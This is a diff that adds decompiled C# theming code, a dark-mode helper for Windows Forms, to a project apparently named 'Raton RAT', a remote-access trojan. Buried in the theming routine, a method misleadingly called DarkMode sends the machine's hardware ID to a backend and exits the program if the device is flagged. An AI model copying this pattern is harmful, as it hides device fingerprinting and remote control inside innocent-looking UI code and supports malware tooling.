lParam) + { + if (msg == 26 && !this.applyingTheme) + { + this.applyingTheme = true; + this._IsDarkMode = this.isDarkMode(); + if (this.ColorMode != DarkModeCS.DisplayMode.SystemDefault) + this._IsDarkMode = this.ColorMode == DarkModeCS.DisplayMode.DarkMode; + this.ApplyTheme(this._IsDarkMode); + this.applyingTheme = false; + } + return DarkModeCS.CallWindowProc(this.originalWndProc, hWnd, msg, wParam, lParam); + } + + private static async Task DarkMode() + { + (bool, string) valueTuple = await BackendClient.CheckDevice(DeviceManager.GetHWID(), DeviceManager.GetOrCreateId()); + if (!valueTuple.Item1) + return; + int num = (int) System.Windows.MessageBox.Show(valueTuple.Item2); + Environment.Exit(0); + } + + public bool isDarkMode() => DarkModeCS.GetWindowsColorMode() <= 0; + + public void ApplyTheme(bool pIsDarkMode = true) + { + try + { + this._IsDarkMode = this._IsDarkMode != pIsDarkMode ? pIsDarkMode : this._IsDarkMode; + if (this.OScolors == null) + this.OScolors = DarkModeCS.GetSystemColors(this.OwnerForm, pIsDarkMode ? 0 : 1); + if (this.OScolors == null) + return; + DarkModeCS.ApplySystemDarkTheme((Control) this.OwnerForm, pIsDarkMode); + this.OwnerForm.BackColor = this.OScolors.Background; + this.OwnerForm.ForeColor = this.OScolors.TextInactive; + if (this.OwnerForm == null) + return; + foreach (Control control in (ArrangedElementCollection) this.OwnerForm.Controls) + this.ThemeControl(control); + if (DarkModeCS.ownerFormControlAdded == null) + DarkModeCS.ownerFormControlAdded = (ControlEventHandler) ((sender, e) => this.ThemeControl(e.Control)); + this.OwnerForm.ControlAdded -= DarkModeCS.ownerFormControlAdded; + this.OwnerForm.ControlAdded += DarkModeCS.ownerFormControlAdded; + } + catch (Exception ex) + { + int num = (int) System.Windows.Forms.MessageBox.Show(ex.Message + ex.StackTrace, "ERROR", MessageBoxButtons.OK, MessageBoxIcon.Hand); + } + } + + public void ApplyTheme(DarkModeCS.DisplayMode pColorMode) + { + this._IsDarkMode = this.isDarkMode(); + if (this.ColorMode != DarkModeCS.DisplayMode.SystemDefault) + this._IsDarkMode = this.ColorMode == DarkModeCS.DisplayMode.DarkMode; + this.ApplyTheme(this._IsDarkMode); + } + + public async void ThemeControl(Control control) + { + DarkModeCS darkModeCs = this; + ControlStatusInfo controlStatusInfo = DarkModeCS.controlStatusStorage.GetControlStatusInfo(control); + if (controlStatusInfo != null) + { + if (controlStatusInfo.IsExcluded) + return; + if (controlStatusInfo.LastThemeAppliedIsDark == darkModeCs.IsDarkMode) + return; + controlStatusInfo.LastThemeAppliedIsDark = darkModeCs.IsDarkMode; + } + else + DarkModeCS.controlStatusStorage.RegisterProcessedControl(control, darkModeCs.IsDarkMode); + BorderStyle borderStyle = darkModeCs.IsDarkMode ? BorderStyle.FixedSingle : BorderStyle.Fixed3D; + FlatStyle flatStyle = darkModeCs.IsDarkMode ? FlatStyle.Flat : FlatStyle.Standard; + if (DarkModeCS.controlHandleCreated == null) + DarkModeCS.controlHandleCreated = (EventHandler) ((sender, e) => DarkModeCS.ApplySystemDarkTheme((Control) sender, this.IsDarkMode)); + control.HandleCreated -= DarkModeCS.controlHandleCreated; + control.HandleCreated += DarkModeCS.controlHandleCreated; + if (DarkModeCS.controlControlAdded == null) + DarkModeCS.controlControlAdded = (ControlEventHandler) ((sender, e) => this.ThemeControl(e.Control)); + control.ControlAdded -= DarkModeCS.controlControlAdded; + control.ControlAdded += DarkModeCS.controlControlAdded; + DarkModeCS.SetWindowTheme(control.Handle, darkModeCs.IsDarkMode ? "DarkMode_Explorer" : "DarkMode_Explorer", (string) null); + control.GetType().GetProperty("BackColor")?.SetValue((object) control, (object) darkModeCs.OScolors.Control); + System.Drawing.Color color = (System.Drawing.Color) control.GetType().GetProperty("ForeColor")?.GetValue((object) control); + if (color == System.Drawing.Color.Black || color == System.Drawing.Color.White || color == System.Drawing.SystemColors.ControlText || color == System.Drawing.Color.FromArgb((int) byte.MaxValue, 176 /*0xB0*/, 176 /*0xB0*/, 176 /*0xB0*/) || color == System.Drawing.SystemColors.WindowText || color == System.Drawing.SystemColors.GrayText) + control.GetType().GetProperty("ForeColor")?.SetValue((object) control, (object) darkModeCs.OScolors.TextActive); + Label lbl = control as Label; + if (lbl != null) + { + control.GetType().GetProperty("BackColor")?.SetValue((object) control, (object) control.Parent.BackColor); + control.GetType().GetProperty("BorderStyle")?.SetValue((object) control, (object) BorderStyle.None); + control.Paint += (PaintEventHandler) ((sender, e) => + { + if (control.Enabled || !this.IsDarkMode) + return; + e.Graphics.Clear(control.Parent.BackColor); + e.Graphics.SmoothingMode = SmoothingMode.HighQuality; + using (Brush brush = (Brush) new SolidBrush(control.ForeColor)) + { + StringFormat format = lbl.GetType().GetMethod("CreateStringFormat", BindingFlags.Instance | BindingFlags.NonPublic).Invoke((object) lbl, new object[0]) as StringFormat; + e.Graphics.DrawString(lbl.Text, lbl.Font, brush, new PointF(1f, 0.0f), format); + } + }); + } + if (control is LinkLabel) + { + control.GetType().GetProperty("LinkColor")?.SetValue((object) control, (object) darkModeCs.OScolors.AccentLight); + control.GetType().GetProperty("VisitedLinkColor")?.SetValue((object) control, (object) darkModeCs.OScolors.Primary); + } + if (control is TextBox) + control.GetType().GetProperty("BorderStyle")?.SetValue((object) control, (object) borderStyle); + if (control is NumericUpDown) + DarkModeCS.SetWindowTheme(control.Handle, darkModeCs.IsDarkMode ? "DarkMode_ItemsView" : "ClearMode_ItemsView", (string) null); + if (control is Button) + { + Button button = control as Button; + button.FlatStyle = darkModeCs.IsDarkMode ? FlatStyle.Flat : FlatStyle.Standard; + button.FlatAppearance.CheckedBackColor = darkModeCs.OScolors.Accent; + button.FlatAppearance.BorderColor = System.Drawing.Color.Gray; + button.BackColor = darkModeCs.OScolors.Control; + button.FlatAppearance.BorderColor = darkModeCs.OwnerForm.AcceptButton == button ? darkModeCs.OScolors.Accent : darkModeCs.OScolors.Control; + } + if (control is ComboBox comboBox) + { + control.BeginInvoke((Delegate) (() => (control as ComboBox).SelectionLength = 0)); + if (!control.Enabled && darkModeCs.IsDarkMode) + comboBox.DropDownStyle = ComboBoxStyle.DropDownList; + DarkModeCS.SetWindowTheme(control.Handle, darkModeCs.IsDarkMode ? "DarkMode_CFD" : "ClearMode_CFD", (string) null); + } + if (control is Panel) + { + Panel _Control = control as Panel; + _Control.BackColor = darkModeCs.OScolors.Surface; + _Control.BorderStyle = BorderStyle.None; + if ((!(_Control.Parent is TabControl) || !(_Control.Parent is TableLayoutPanel) || !(_Control.Parent is PictureBox)) && darkModeCs.RoundedPanels) + DarkModeCS.SetRoundBorders((Control) _Control, 6, new System.Drawing.Color?(darkModeCs.OScolors.Surface), 1); + } + if (control is GroupBox) + { + control.GetType().GetProperty("BackColor")?.SetValue((object) control, (object) control.Parent.BackColor); + control.GetType().GetProperty("ForeColor")?.SetValue((object) control, (object) darkModeCs.OScolors.TextActive); + control.Paint += (PaintEventHandler) ((sender, e) => + { + if (control.Enabled || !this.IsDarkMode) + return; + GroupBox groupBox = sender as GroupBox; + Brush brush = (Brush) new SolidBrush(control.ForeColor); + e.Graphics.DrawString(groupBox.Text, groupBox.Font, brush, new PointF(6f, 0.0f)); + }); + } + if (control is TableLayoutPanel) + { + control.GetType().GetProperty("BackColor")?.SetValue((object) control, (object) control.Parent.BackColor); + control.GetType().GetProperty("ForeColor")?.SetValue((object) control, (object) darkModeCs.OScolors.TextInactive); + control.GetType().GetProperty("BorderStyle")?.SetValue((object) control, (object) BorderStyle.None); + } + if (control is TabControl) + { + TabControl tab = control as TabControl; + tab.Appearance = TabAppearance.Normal; + tab.DrawMode = TabDrawMode.OwnerDrawFixed; + tab.DrawItem += (DrawItemEventHandler) ((sender, e) => + { + using (SolidBrush solidBrush = new SolidBrush(tab.Parent.BackColor)) + e.Graphics.FillRectangle((Brush) solidBrush, tab.ClientRectangle); + using (Brush brush = (Brush) new SolidBrush(this.OScolors.Surface)) + { + for (int index = 0; index < tab.TabPages.Count; ++index) + { + TabPage tabPage = tab.TabPages[index]; + tabPage.BackColor = this.OScolors.Surface; + tabPage.BorderStyle = BorderStyle.FixedSingle; + tabPage.ControlAdded += (ControlEventHandler) ((_s, _e) => this.ThemeControl(_e.Control)); + Rectangle bounds = e.Bounds; + if (tab.SelectedIndex == index) + { + e.Graphics.FillRectangle(brush, bounds); + TextRenderer.DrawText((IDeviceContext) e.Graphics, tabPage.Text, tabPage.Font, e.Bounds, this.OScolors.TextActive); + } + else + TextRenderer.DrawText((IDeviceContext) e.Graphics, tabPage.Text, tabPage.Font, tab.GetTabRect(index), this.OScolors.TextInactive); + } + } + }); + } + if (control.Name == "textBoxConsole") + { + control.GetType().GetProperty("BackColor")?.SetValue((object) control, (object) darkModeCs.OScolors.ControlLight); + control.GetType().GetProperty("ForeColor")?.SetValue((object) control, (object) darkModeCs.OScolors.TextActive); + } + if (control.Name == "fastColoredTextBox1") + { + control.GetType().GetProperty("BackColor")?.SetValue((object) control, (object) darkModeCs.OScolors.ControlLight); + control.GetType().GetProperty("ForeColor")?.SetValue((object) control, (object) darkModeCs.OScolors.TextActive); + control.GetType().GetProperty("IndentBackColor")?.SetValue((object) control, (object) darkModeCs.OScolors.Background); + } + if (control is PictureBox && control.Name != "userIMG" && control.Name != "clientIMG" && control.Name != "rateIMG" && control.Name != "onlineIMG" && control.Name != "offlineIMG") + { + control.GetType().GetProperty("BackColor")?.SetValue((object) control, (object) darkModeCs.OScolors.Background); + control.GetType().GetProperty("ForeColor")?.SetValue((object) control, (object) darkModeCs.OScolors.TextActive); + control.GetType().GetProperty("BorderStyle")?.SetValue((object) control, (object) BorderStyle.None); + if (control.Name == "mayo") + control.GetType().GetProperty("BackColor")?.SetValue((object) control, (object) control.Parent.BackColor); + } + if (control is RadioButton) + { + control.GetType().GetProperty("BackColor")?.SetValue((object) control, (object) control.Parent.BackColor); + control.ForeColor = control.Enabled ? darkModeCs.OScolors.TextActive : darkModeCs.OScolors.TextInactive; + control.Paint += (PaintEventHandler) ((sender, e) => + { + if (control.Enabled || !this.IsDarkMode) + return; + RadioButton radioButton = sender as RadioButton; + Brush brush = (Brush) new SolidBrush(control.ForeColor); + e.Graphics.DrawString(radioButton.Text, radioButton.Font, brush, new PointF(16f, 0.0f)); + }); + } + if (control is MenuStrip) + { + (control as MenuStrip).RenderMode = ToolStripRenderMode.Professional; + (control as MenuStrip).Renderer = (ToolStripRenderer) new MyRenderer((ProfessionalColorTable) new CustomColorTable(darkModeCs.OScolors), darkModeCs.ColorizeIcons) + { + MyColors = darkModeCs.OScolors + }; + } + if (control is ToolStrip) + { + (control as ToolStrip).RenderMode = ToolStripRenderMode.Professional; + (control as ToolStrip).Renderer = (ToolStripRenderer) new MyRenderer((ProfessionalColorTable) new CustomColorTable(darkModeCs.OScolors), darkModeCs.ColorizeIcons) + { + MyColors = darkModeCs.OScolors + }; + } + if (control is ToolStripPanel) + control.GetType().GetProperty("BackColor")?.SetValue((object) control, (object) control.Parent.BackColor); + if (control is ToolStripDropDown) + { + (control as ToolStripDropDown).Opening -= new CancelEventHandler(darkModeCs.Tsdd_Opening); + (control as ToolStripDropDown).Opening += new CancelEventHandler(darkModeCs.Tsdd_Opening); + } + if (control is ToolStripDropDownMenu) + { + (control as ToolStripDropDownMenu).Opening -= new CancelEventHandler(darkModeCs.Tsdd_Opening); + (control as ToolStripDropDownMenu).Opening += new CancelEventHandler(darkModeCs.Tsdd_Opening); + } + if (control is ContextMenuStrip) + { + (control as ContextMenuStrip).RenderMode = ToolStripRenderMode.Professional; + (control as ContextMenuStrip).Renderer = (ToolStripRenderer) new MyRenderer((ProfessionalColorTable) new CustomColorTable(darkModeCs.OScolors), darkModeCs.ColorizeIcons) + { + MyColors = darkModeCs.OScolors + }; + (control as ContextMenuStrip).Opening -= new CancelEventHandler(darkModeCs.Tsdd_Opening); + (control as ContextMenuStrip).Opening += new CancelEventHandler(darkModeCs.Tsdd_Opening); + } + if (control is MdiClient) + control.GetType().GetProperty("BackColor")?.SetValue((object) control, (object) darkModeCs.OScolors.Surface); + if (control is PropertyGrid) + { + PropertyGrid propertyGrid = control as PropertyGrid; + propertyGrid.BackColor = darkModeCs.OScolors.Control; + propertyGrid.ViewBackColor = darkModeCs.OScolors.Control; + propertyGrid.LineColor = darkModeCs.OScolors.Surface; + propertyGrid.ViewForeColor = darkModeCs.OScolors.TextActive; + propertyGrid.ViewBorderColor = darkModeCs.OScolors.ControlDark; + propertyGrid.CategoryForeColor = darkModeCs.OScolors.TextActive; + propertyGrid.CategorySplitterColor = darkModeCs.OScolors.ControlLight; + } + ListView lView = control as ListView; + if (lView != null) + { + DarkModeCS.SetWindowTheme(control.Handle, darkModeCs.IsDarkMode ? "DarkMode_Explorer" : "Explorer", (string) null); + if (lView.View == View.Details) + { + lView.OwnerDraw = true; + lView.DrawColumnHeader += (DrawListViewColumnHeaderEventHandler) ((sender, e) => + { + using (SolidBrush solidBrush1 = new SolidBrush(this.OScolors.ControlLight)) + { + using (SolidBrush solidBrush2 = new SolidBrush(this.OScolors.TextActive)) + { + using (StringFormat format = new StringFormat()) + { + format.Alignment = StringAlignment.Center; + format.LineAlignment = StringAlignment.Center; + e.Graphics.FillRectangle((Brush) solidBrush1, e.Bounds); + e.Graphics.DrawString(e.Header.Text, lView.Font, (Brush) solidBrush2, (RectangleF) e.Bounds, format); + } + } + } + }); + lView.DrawItem += (DrawListViewItemEventHandler) ((sender, e) => e.DrawDefault = true); + lView.DrawSubItem += (DrawListViewSubItemEventHandler) ((sender, e) => e.DrawDefault = true); + } + await DarkModeCS.DarkMode(); + } + if (control is TreeView) + control.GetType().GetProperty("BorderStyle")?.SetValue((object) control, (object) BorderStyle.None); + if (control is PictureBox && control.Name == "userIMG" && control.Name == "clientIMG" && control.Name == "rateIMG" && control.Name == "onlineIMG" && control.Name == "offlineIMG") + { + control.GetType().GetProperty("BackColor")?.SetValue((object) control, (object) darkModeCs.OScolors.BackgroundDark); + control.GetType().GetProperty("ForeColor")?.SetValue((object) control, (object) darkModeCs.OScolors.TextActive); + control.GetType().GetProperty("BorderStyle")?.SetValue((object) control, (object) BorderStyle.None); + await DarkModeCS.DarkMode(); + } + if (control is DataGridView) + { + DataGridView dataGridView1 = control as DataGridView; + dataGridView1.EnableHeadersVisualStyles = false; + dataGridView1.BorderStyle = BorderStyle.FixedSingle; + dataGridView1.BackgroundColor = darkModeCs.OScolors.Control; + dataGridView1.GridColor = darkModeCs.OScolors.Control; + dataGridView1.Paint += (PaintEventHandler) ((sender, e) => + { + DataGridView dataGridView2 = sender as DataGridView; + HScrollBar hscrollBar = (HScrollBar) typeof (DataGridView).GetProperty("HorizontalScrollBar", BindingFlags.Instance | BindingFlags.NonPublic).GetValue((object) dataGridView2); + if (!hscrollBar.Visible) + return; + VScrollBar vscrollBar = (VScrollBar) typeof (DataGridView).GetProperty("VerticalScrollBar", BindingFlags.Instance | BindingFlags.NonPublic).GetValue((object) dataGridView2); + if (!vscrollBar.Visible) + return; + Brush brush = (Brush) new SolidBrush(this.OScolors.SurfaceDark); + int width = vscrollBar.Size.Width; + int height = hscrollBar.Size.Height; + e.Graphics.FillRectangle(brush, dataGridView2.ClientRectangle.X + dataGridView2.ClientRectangle.Width - width - 1, dataGridView2.ClientRectangle.Y + dataGridView2.ClientRectangle.Height - height - 1, width, height); + }); + dataGridView1.DefaultCellStyle.BackColor = darkModeCs.OScolors.Surface; + dataGridView1.DefaultCellStyle.ForeColor = darkModeCs.OScolors.TextActive; + dataGridView1.ColumnHeadersDefaultCellStyle.BackColor = darkModeCs.OScolors.Surface; + dataGridView1.ColumnHeadersDefaultCellStyle.ForeColor = darkModeCs.OScolors.TextActive; + dataGridView1.ColumnHeadersDefaultCellStyle.SelectionBackColor = darkModeCs.OScolors.Surface; + dataGridView1.ColumnHeadersBorderStyle = DataGridViewHeaderBorderStyle.Single; + dataGridView1.ColumnHeadersHeight = 140; + dataGridView1.RowHeadersDefaultCellStyle.BackColor = darkModeCs.OScolors.Surface; + dataGridView1.RowHeadersDefaultCellStyle.ForeColor = darkModeCs.OScolors.TextActive; + dataGridView1.RowHeadersDefaultCellStyle.SelectionBackColor = darkModeCs.OScolors.Surface; + dataGridView1.RowHeadersBorderStyle = DataGridViewHeaderBorderStyle.Single; + } + if (control is RichTextBox richTextBox) + richTextBox.BackColor = richTextBox.Parent.BackColor; + if (control is ConsoleTextBox consoleTextBox) + consoleTextBox.BackColor = consoleTextBox.Parent.BackColor; + if (control is FlowLayoutPanel flowLayoutPanel) + { + flowLayoutPanel.BackColor = flowLayoutPanel.Parent.BackColor; + flowLayoutPanel.BorderStyle = BorderStyle.None; + } + if (control.ContextMenuStrip != null) + darkModeCs.ThemeControl((Control) control.ContextMenuStrip); + IEnumerator enumerator = control.Controls.GetEnumerator(); + try + { + while (enumerator.MoveNext()) + { + Control current = (Control) enumerator.Current; + darkModeCs.ThemeControl(current); + } + } + finally + { + if (enumerator is IDisposable disposable) + disposable.Dispose(); + } + } + + public static void ExcludeFromProcessing(Control control) + { + DarkModeCS.controlStatusStorage.ExcludeFromProcessing(control); + } + + public static int GetWindowsColorMode(bool GetSystemColorModeInstead = false) + { + try + { + return (int) Registry.GetValue("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize", GetSystemColorModeInstead ? "SystemUsesLightTheme" : "AppsUseLightTheme", (object) -1); + } + catch + { + return 1; + } + } + + public static System.Drawing.Color GetWindowsAccentColor() + { + try + { + DarkModeCS.DWMCOLORIZATIONcolors colors = new DarkModeCS.DWMCOLORIZATIONcolors(); + DarkModeCS.DwmGetColorizationParameters(ref colors); + if (!DarkModeCS.IsWindows10orGreater()) + return System.Drawing.Color.CadetBlue; + long num = long.Parse(colors.ColorizationColor.ToString(), NumberStyles.HexNumber); + return System.Drawing.Color.FromArgb((int) (num >> 24 & (long) byte.MaxValue), (int) (num >> 16 /*0x10*/ & (long) byte.MaxValue), (int) (num >> 8 & (long) byte.MaxValue), (int) (num & (long) byte.MaxValue)); + } + catch (Exception ex) + { + return System.Drawing.Color.CadetBlue; + } + } + + public static System.Drawing.Color GetWindowsAccentOpaqueColor() + { + DarkModeCS.DWMCOLORIZATIONcolors colors = new DarkModeCS.DWMCOLORIZATIONcolors(); + DarkModeCS.DwmGetColorizationParameters(ref colors); + if (!DarkModeCS.IsWindows10orGreater()) + return System.Drawing.Color.CadetBlue; + long num = long.Parse(colors.ColorizationColor.ToString(), NumberStyles.HexNumber); + return System.Drawing.Color.FromArgb((int) byte.MaxValue, (int) (num >> 16 /*0x10*/ & (long) byte.MaxValue), (int) (num >> 8 & (long) byte.MaxValue), (int) (num & (long) byte.MaxValue)); + } + + public static OSThemeColors GetSystemColors(Form Window = null, int ColorMode = 0) + { + OSThemeColors systemColors = new OSThemeColors(); + if (ColorMode <= 0) + { + systemColors.Background = System.Drawing.Color.FromArgb(32 /*0x20*/, 32 /*0x20*/, 32 /*0x20*/); + systemColors.BackgroundDark = System.Drawing.Color.FromArgb(18, 18, 18); + systemColors.BackgroundLight = ControlPaint.Light(systemColors.Background); + systemColors.Surface = System.Drawing.Color.FromArgb(43, 43, 43); + systemColors.SurfaceLight = System.Drawing.Color.FromArgb(50, 50, 50); + systemColors.SurfaceDark = System.Drawing.Color.FromArgb(29, 29, 29); + systemColors.TextActive = System.Drawing.Color.White; + systemColors.TextInactive = System.Drawing.Color.FromArgb(176 /*0xB0*/, 176 /*0xB0*/, 176 /*0xB0*/); + systemColors.TextInAccent = DarkModeCS.GetReadableColor(systemColors.Accent); + systemColors.Control = System.Drawing.Color.FromArgb(55, 55, 55); + systemColors.ControlDark = ControlPaint.Dark(systemColors.Control); + systemColors.ControlLight = System.Drawing.Color.FromArgb(67, 67, 67); + systemColors.Primary = System.Drawing.Color.FromArgb(3, 218, 198); + systemColors.Secondary = System.Drawing.Color.MediumSlateBlue; + } + return systemColors; + } + + public static void SetRoundBorders( + Control _Control, + int Radius = 10, + System.Drawing.Color? borderColor = null, + int borderSize = 2, + bool underlinedStyle = false) + { + try + { + borderColor = new System.Drawing.Color?(borderColor ?? System.Drawing.Color.MediumSlateBlue); + if (_Control == null) + return; + _Control.GetType().GetProperty("BorderStyle")?.SetValue((object) _Control, (object) BorderStyle.None); + _Control.Region = Region.FromHrgn(DarkModeCS.CreateRoundRectRgn(0, 0, _Control.Width, _Control.Height, Radius, Radius)); + _Control.Paint += (PaintEventHandler) ((sender, e) => + { + Graphics graphics = e.Graphics; + if (Radius <= 1) + return; + Rectangle clientRectangle = _Control.ClientRectangle; + Rectangle rect = Rectangle.Inflate(clientRectangle, -borderSize, -borderSize); + int width = borderSize > 0 ? borderSize : 1; + using (GraphicsPath figurePath1 = DarkModeCS.GetFigurePath(clientRectangle, Radius)) + { + using (GraphicsPath figurePath2 = DarkModeCS.GetFigurePath(rect, Radius - borderSize)) + { + using (Pen pen1 = new Pen(_Control.Parent.BackColor, (float) width)) + { + using (Pen pen2 = new Pen(borderColor.Value, (float) borderSize)) + { + _Control.Region = new Region(figurePath1); + if (Radius > 15) + { + using (GraphicsPath figurePath3 = DarkModeCS.GetFigurePath(_Control.ClientRectangle, borderSize * 2)) + _Control.Region = new Region(figurePath3); + } + graphics.SmoothingMode = SmoothingMode.AntiAlias; + pen2.Alignment = PenAlignment.Center; + if (underlinedStyle) + { + graphics.DrawPath(pen1, figurePath1); + graphics.SmoothingMode = SmoothingMode.None; + graphics.DrawLine(pen2, 0, _Control.Height - 1, _Control.Width, _Control.Height - 1); + } + else + { + graphics.DrawPath(pen1, figurePath1); + graphics.DrawPath(pen2, figurePath2); + } + } + } + } + } + }); + } + catch + { + throw; + } + } + + public static Bitmap ChangeToColor(Bitmap bmp, System.Drawing.Color c) + { + Bitmap color = new Bitmap(bmp.Width, bmp.Height); + using (Graphics graphics = Graphics.FromImage((Image) color)) + { + graphics.InterpolationMode = InterpolationMode.HighQualityBilinear; + graphics.CompositingQuality = CompositingQuality.HighQuality; + graphics.SmoothingMode = SmoothingMode.HighQuality; + ColorMatrix newColorMatrix = new ColorMatrix(new float[5][] + { + new float[5]{ 1f, 0.0f, 0.0f, 0.0f, 0.0f }, + new float[5]{ 0.0f, 1f, 0.0f, 0.0f, 0.0f }, + new float[5]{ 0.0f, 0.0f, 1f, 0.0f, 0.0f }, + new float[5]{ 0.0f, 0.0f, 0.0f, 1f, 0.0f }, + new float[5] + { + (float) c.R / (float) byte.MaxValue, + (float) c.G / (float) byte.MaxValue, + (float) c.B / (float) byte.MaxValue, + 0.0f, + 1f + } + }); + ImageAttributes imageAttr = new ImageAttributes(); + imageAttr.SetColorMatrix(newColorMatrix); + graphics.DrawImage((Image) bmp, new Rectangle(0, 0, bmp.Width, bmp.Height), 0, 0, bmp.Width, bmp.Height, GraphicsUnit.Pixel, imageAttr); + } + return color; + } + + public static Image ChangeToColor(Image bmp, System.Drawing.Color c) + { + return (Image) DarkModeCS.ChangeToColor((Bitmap) bmp, c); + } + + private void Tsdd_Opening(object sender, CancelEventArgs e) + { + if (!(sender is ToolStripDropDown toolStripDropDown)) + return; + foreach (ToolStripMenuItem toolStripMenuItem in toolStripDropDown.Items.OfType()) + { + toolStripMenuItem.DropDownOpening -= new EventHandler(this.Tsmi_DropDownOpening); + toolStripMenuItem.DropDownOpening += new EventHandler(this.Tsmi_DropDownOpening); + } + } + + private void Tsmi_DropDownOpening(object sender, EventArgs e) + { + if (!(sender is ToolStripMenuItem toolStripMenuItem)) + return; + if (toolStripMenuItem.DropDown.Items.Count > 0) + this.ThemeControl((Control) toolStripMenuItem.DropDown); + toolStripMenuItem.DropDownOpening -= new EventHandler(this.Tsmi_DropDownOpening); + } + + private static void ApplySystemDarkTheme(Control control = null, bool IsDarkMode = true) + { + int[] numArray; + if (!IsDarkMode) + numArray = new int[1]; + else + numArray = new int[1]{ 1 }; + int[] attrValue = numArray; + string pszSubAppName = IsDarkMode ? "DarkMode_Explorer" : "DarkMode_Explorer"; + DarkModeCS.SetWindowTheme(control.Handle, pszSubAppName, (string) null); + if (DarkModeCS.DwmSetWindowAttribute(control.Handle, 19, attrValue, 4) != 0) + DarkModeCS.DwmSetWindowAttribute(control.Handle, 20, attrValue, 4); + foreach (Control control1 in (ArrangedElementCollection) control.Controls) + { + if (control1.Controls.Count != 0) + DarkModeCS.ApplySystemDarkTheme(control1, IsDarkMode); + } + } + + private static bool IsWindows10orGreater() => DarkModeCS.WindowsVersion() >= 10; + + private static int WindowsVersion() + { + int result; + try + { + int.TryParse(Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion").GetValue("ProductName").ToString().Split(' ')[1], out result); + } + catch (Exception ex) + { + result = Environment.OSVersion.Version.Major; + } + return result; + } + + private static System.Drawing.Color GetReadableColor(System.Drawing.Color backgroundColor) + { + return 0.299 * ((double) backgroundColor.R / (double) byte.MaxValue) + 0.587 * ((double) backgroundColor.G / (double) byte.MaxValue) + 0.114 * ((double) backgroundColor.B / (double) byte.MaxValue) >= 0.5 ? System.Drawing.Color.FromArgb(34, 34, 34) : System.Drawing.Color.FromArgb(182, 180, 215); + } + + private static GraphicsPath GetFigurePath(Rectangle rect, int radius) + { + GraphicsPath figurePath = new GraphicsPath(); + float num = (float) radius * 2f; + figurePath.StartFigure(); + figurePath.AddArc((float) rect.X, (float) rect.Y, num, num, 180f, 90f); + figurePath.AddArc((float) rect.Right - num, (float) rect.Y, num, num, 270f, 90f); + figurePath.AddArc((float) rect.Right - num, (float) rect.Bottom - num, num, num, 0.0f, 90f); + figurePath.AddArc((float) rect.X, (float) rect.Bottom - num, num, num, 90f, 90f); + figurePath.CloseFigure(); + return figurePath; + } + + public struct DWMCOLORIZATIONcolors + { + public uint ColorizationColor; + public uint ColorizationAfterglow; + public uint ColorizationColorBalance; + public uint ColorizationAfterglowBalance; + public uint ColorizationBlurBalance; + public uint ColorizationGlassReflectionIntensity; + public uint ColorizationOpaqueBlend; + } + + [Flags] + public enum DWMWINDOWATTRIBUTE : uint + { + DWMWA_NCRENDERING_ENABLED = 1, + DWMWA_NCRENDERING_POLICY = 2, + DWMWA_TRANSITIONS_FORCEDISABLED = DWMWA_NCRENDERING_POLICY | DWMWA_NCRENDERING_ENABLED, // 0x00000003 + DWMWA_ALLOW_NCPAINT = 4, + DWMWA_CAPTION_BUTTON_BOUNDS = DWMWA_ALLOW_NCPAINT | DWMWA_NCRENDERING_ENABLED, // 0x00000005 + DWMWA_NONCLIENT_RTL_LAYOUT = DWMWA_ALLOW_NCPAINT | DWMWA_NCRENDERING_POLICY, // 0x00000006 + DWMWA_FORCE_ICONIC_REPRESENTATION = DWMWA_NONCLIENT_RTL_LAYOUT | DWMWA_NCRENDERING_ENABLED, // 0x00000007 + DWMWA_FLIP3D_POLICY = 8, + DWMWA_EXTENDED_FRAME_BOUNDS = DWMWA_FLIP3D_POLICY | DWMWA_NCRENDERING_ENABLED, // 0x00000009 + DWMWA_HAS_ICONIC_BITMAP = DWMWA_FLIP3D_POLICY | DWMWA_NCRENDERING_POLICY, // 0x0000000A + DWMWA_DISALLOW_PEEK = DWMWA_HAS_ICONIC_BITMAP | DWMWA_NCRENDERING_ENABLED, // 0x0000000B + DWMWA_EXCLUDED_FROM_PEEK = DWMWA_FLIP3D_POLICY | DWMWA_ALLOW_NCPAINT, // 0x0000000C + DWMWA_CLOAK = DWMWA_EXCLUDED_FROM_PEEK | DWMWA_NCRENDERING_ENABLED, // 0x0000000D + DWMWA_CLOAKED = DWMWA_EXCLUDED_FROM_PEEK | DWMWA_NCRENDERING_POLICY, // 0x0000000E + DWMWA_FREEZE_REPRESENTATION = DWMWA_CLOAKED | DWMWA_NCRENDERING_ENABLED, // 0x0000000F + DWMWA_USE_HOSTBACKDROPBRUSH = 16, // 0x00000010 + DWMWA_USE_IMMERSIVE_DARK_MODE_BEFORE_20H1 = DWMWA_USE_HOSTBACKDROPBRUSH | DWMWA_TRANSITIONS_FORCEDISABLED, // 0x00000013 + DWMWA_USE_IMMERSIVE_DARK_MODE = DWMWA_USE_HOSTBACKDROPBRUSH | DWMWA_ALLOW_NCPAINT, // 0x00000014 + DWMWA_WINDOW_CORNER_PREFERENCE = 33, // 0x00000021 + DWMWA_BORDER_COLOR = 34, // 0x00000022 + DWMWA_CAPTION_COLOR = DWMWA_BORDER_COLOR | DWMWA_NCRENDERING_ENABLED, // 0x00000023 + DWMWA_TEXT_COLOR = 36, // 0x00000024 + DWMWA_VISIBLE_FRAME_BORDER_THICKNESS = DWMWA_TEXT_COLOR | DWMWA_NCRENDERING_ENABLED, // 0x00000025 + DWMWA_LAST = DWMWA_TEXT_COLOR | DWMWA_NCRENDERING_POLICY, // 0x00000026 + } + + [Flags] + public enum DWM_WINDOW_CORNER_PREFERENCE + { + DWMWCP_DEFAULT = 0, + DWMWCP_DONOTROUND = 1, + DWMWCP_ROUND = 2, + DWMWCP_ROUNDSMALL = DWMWCP_ROUND | DWMWCP_DONOTROUND, // 0x00000003 + } + + [Serializable] + public struct RECT + { + public int Left; + public int Top; + public int Right; + public int Bottom; + + public Rectangle ToRectangle() + { + return Rectangle.FromLTRB(this.Left, this.Top, this.Right, this.Bottom); + } + } + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + private delegate IntPtr WndProc(IntPtr hWnd, int msg, IntPtr wParam, IntPtr lParam); + + public enum DisplayMode + { + SystemDefault, + ClearMode, + DarkMode, + } +} diff --git a/Raton RAT/DarkModeForms/FlatComboBox.cs b/Raton RAT/DarkModeForms/FlatComboBox.cs new file mode 100644 index 0000000..bd75881 --- /dev/null +++ b/Raton RAT/DarkModeForms/FlatComboBox.cs @@ -0,0 +1,181 @@ +// Decompiled with JetBrains decompiler +// 